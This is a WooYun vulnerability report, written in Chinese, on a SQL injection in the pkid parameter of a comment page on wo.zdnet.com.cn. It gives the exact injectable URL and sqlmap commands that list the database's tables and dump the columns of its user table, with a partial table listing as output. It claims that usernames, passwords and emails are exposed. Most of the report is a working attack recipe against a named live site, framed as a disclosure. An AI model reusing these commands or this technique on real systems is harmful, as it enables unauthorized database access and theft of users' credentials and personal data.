WooYun.org

一：影响URL：http://wo.zdnet.com.cn/comment/fy1.php?mit&replay&pkid=[注入点]&id=comma&type=A&page=1
在pkid参数手工测试如图：

二：跑出所有数据库，zd*****貌似是主站的数据库。当前库：discuz_new

三：构造语句：sqlmap.py -u "http://wo.zdnet.com.cn/comment/fy1.php?m
it&replay&pkid=4&id=comma&type=A&page=1" --tables -D "discuz_new"
跑出当前数据库所有表，由于表太多，就不一 一列出了，管理员表、用户表等等。
[126 tables]
+-----------------------+
| bbs_push |
| blog_rel_doing |
| cdb_access |
| cdb_activities |
| cdb_activityapplies |
| cdb_adminactions |
| cdb_admincustom |
| cdb_admingroups |
| cdb_adminnotes |
| cdb_adminsessions |
| cdb_advertisements |
| cdb_announcements |
| cdb_attachments |
| cdb_attachpaymentlog |
| cdb_attachtypes |
| cdb_banned |
| cdb_favorites |
| cdb_forumfields |
| cdb_forumlinks |
| cdb_forumrecommend |
| cdb_forums |
| cdb_forums_bak |
| cdb_imagetypes |
| cdb_invites |
| cdb_itempool |
| cdb_lovewall | |
| cdb_threads |
| cdb_threadsmod |
| cdb_threadtags |
| cdb_threadtypes |
| cdb_tradecomments |
| cdb_tradelog |
| cdb_uc_admins |
| cdb_uc_applications |
| cdb_uc_badwords |
| cdb_uc_domains |
| cdb_uc_failedlogins |
| cdb_uc_feeds |
| cdb_uc_friends |
| cdb_uc_mailqueue |
| cdb_uc_memberfields |
| cdb_uc_members |
| cdb_uc_mergemembers |
| cdb_uc_newpm |
| cdb_uc_notelist |
| cdb_uc_pms
。
。
。 |
+-----------------------+
四：“cdb_uc_members”为用户表，大量用户信息泄露如：用户名、密码、邮箱等敏感信息：sqlmap.py -u "http://wo.zdnet.com.cn/comment/fy1.php?mit&replay&pkid=4&id=comma&type=A&page=1" --columns -T "cdb_uc_members" --thread "10"